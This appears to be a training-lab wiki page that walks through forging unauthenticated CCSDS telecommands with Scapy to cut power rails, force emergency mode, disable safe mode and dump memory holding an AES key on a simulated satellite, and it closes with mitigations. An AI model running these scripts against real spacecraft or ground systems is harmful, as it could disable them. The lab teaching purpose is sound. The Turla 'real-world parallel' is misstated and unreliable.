Skip to content

03 Command Injection

Litesh Ghute edited this page Oct 21, 2026 · 2 revisions

Attack 3: CCSDS Command Injection

Position & access: Same ground-segment LAN foothold (see the Home page), from sat-attacker (10.10.0.10), targeting the TC uplink at 10.10.0.2:7001. The uplink accepts commands from any host that can reach the port, that's the entire finding of this guide.

Objective

Craft valid CCSDS telecommands with Scapy and send them straight to the satellite's TC uplink, proving it accepts commands from any unauthenticated source and yields full satellite control.


Background

Real satellite TC uplinks use RF (UHF/S-band). In this lab, once RF is abstracted away, the TC port is 10.10.0.2:7001/udp. The satellite parses every well-formed CCSDS packet it receives with no check on the source IP, no authentication token, no HMAC, and no command signing.

This mirrors documented vulnerabilities in early commercial satellites that accepted unencrypted ground commands on known frequencies.


CCSDS Telecommand Packet Format

Primary Header (6 bytes):
  Byte 0-1:  0x18 0x64  -> version=0, type=TC(1), sec_hdr=1, APID=0x064
  Byte 2-3:  0xC0 0xNN  -> seq_flags=0b11 (standalone), seq_count=NN
  Byte 4-5:  data_len   -> payload bytes - 1

Secondary Header (8 bytes):
  Bytes 6-13: uint64 timestamp (milliseconds, big-endian)

Payload:
  Byte 14:   function code
  Bytes 15…: arguments

Trailer (2 bytes):
  Bytes -2,-1: CRC-16/CCITT checksum

Function Codes

Code Name Arguments
0x01 SWITCH_POWER rail (1B), state (1B: 0=OFF, 1=ON)
0x02 SET_MODE mode (1B: 0=NOMINAL, 1=SAFE, 2=EMERGENCY)
0x03 RESET (none)
0x04 MEMORY_DUMP address (4B big-endian), length (2B big-endian)
0x05 DISABLE_SAFE_MODE (none)

Building and Sending Packets

Every command below uses build_tc() from the shared ccsds_scapy.py layer (see the Home page's toolkit section), Scapy's real send() puts it on the wire. No hand-rolled struct packing beyond what that one shared, verified module already does. Run each block directly at the sat-attacker shell (docker compose exec attacker bash, per the Home page).

Each script does the same three things: build one telecommand with build_tc() (it fills in the header, timestamp, and CRC), wrap it in a UDP packet addressed to the satellite's TC port, and hand it to send(), which puts it on the wire exactly like a real ground station transmission. Only the function code and arguments passed to build_tc() change between attacks, matched against the Function Codes table above.

Attack 1: Cut power rail 0

fn_code=0x01 is SWITCH_POWER; args=bytes([0, 0]) selects rail 0 and sets it OFF.

python3 - <<'EOF'
from scapy.all import IP, UDP, send
from ccsds_scapy import build_tc

TARGET, TC_PORT = "10.10.0.2", 7001

pkt = build_tc(seq=1, fn_code=0x01, args=bytes([0, 0]))   # rail=0, state=OFF
send(IP(dst=TARGET)/UDP(sport=54000, dport=TC_PORT)/pkt)
EOF

Battery drain accelerates immediately with the rail cut.

Attack 2: Cut power rail 1

Same SWITCH_POWER call; args=bytes([1, 0]) selects rail 1 instead and sets it OFF.

python3 - <<'EOF'
from scapy.all import IP, UDP, send
from ccsds_scapy import build_tc

TARGET, TC_PORT = "10.10.0.2", 7001

pkt = build_tc(seq=2, fn_code=0x01, args=bytes([1, 0]))   # rail=1, OFF
send(IP(dst=TARGET)/UDP(sport=54000, dport=TC_PORT)/pkt)
EOF

Two dead rails, drain accelerates further.

Attack 3: Force EMERGENCY mode

fn_code=0x02 is SET_MODE; args=bytes([2]) forces mode 2, EMERGENCY.

python3 - <<'EOF'
from scapy.all import IP, UDP, send
from ccsds_scapy import build_tc

TARGET, TC_PORT = "10.10.0.2", 7001

pkt = build_tc(seq=3, fn_code=0x02, args=bytes([2]))      # mode=EMERGENCY
send(IP(dst=TARGET)/UDP(sport=54000, dport=TC_PORT)/pkt)
EOF

Mode locked to EMERGENCY, satellite stops nominal operations.

Attack 4: Disable safe-mode protection

fn_code=0x05 is DISABLE_SAFE_MODE. It takes no arguments, so args is omitted from the build_tc() call entirely.

python3 - <<'EOF'
from scapy.all import IP, UDP, send
from ccsds_scapy import build_tc

TARGET, TC_PORT = "10.10.0.2", 7001

pkt = build_tc(seq=4, fn_code=0x05)                       # DISABLE_SAFE_MODE
send(IP(dst=TARGET)/UDP(sport=54000, dport=TC_PORT)/pkt)
EOF

Satellite can no longer auto-recover into SAFE mode as the battery drains.

Attack 5: Memory dump (leaks AES key)

fn_code=0x04 is MEMORY_DUMP; the first four bytes of args (00001000) are the big-endian address to read from, the last two (0010) are the big-endian length, 16 bytes, telling the satellite what memory range to read back.

python3 - <<'EOF'
from scapy.all import IP, UDP, send
from ccsds_scapy import build_tc

TARGET, TC_PORT = "10.10.0.2", 7001

pkt = build_tc(seq=5, fn_code=0x04, args=bytes.fromhex("00001000") + bytes.fromhex("0010"))
send(IP(dst=TARGET)/UDP(sport=54000, dport=TC_PORT)/pkt)
EOF

Satellite unicasts the raw dump straight back to this socket. The full key-recovery walkthrough for this one isn't on the wiki yet, see solution/05_break_aes.md in the repo.

Confirm any of these against the live dashboard state after sending, this hits Mission Control's REST API directly and pretty-prints the JSON response so you can see the field that just changed (power_rails, mode_name, etc.):

curl -s http://10.10.0.3:8080/api/state | python3 -m json.tool

Real-World Parallel

Turla APT (2015): Russian threat actors sent malicious uplink commands to commercial VSAT satellites by simply transmitting on the same frequency band used by legitimate ground stations. No authentication was required; the satellite rebroadcast any valid-format command.

ViaSat KA-SAT hack (AcidRain, 2022): attackers sent unauthenticated management commands to satellite modems, bricking ~10 000 terminals across Europe on the day Russia invaded Ukraine.


Mitigation

Control Standard
Command authentication HMAC-SHA256 per packet (CCSDS SDLS)
Sequence counter window Reject packets with seq < last_seq or seq > last_seq + 100
Source whitelist Accept TC only from registered ground station IPs/keys
Rate limiting Max 10 TC packets per second

Next Step

Attack 4: Replay Attack: capture a valid telecommand, wait, and resend the identical bytes, proving there's no sequence or freshness validation.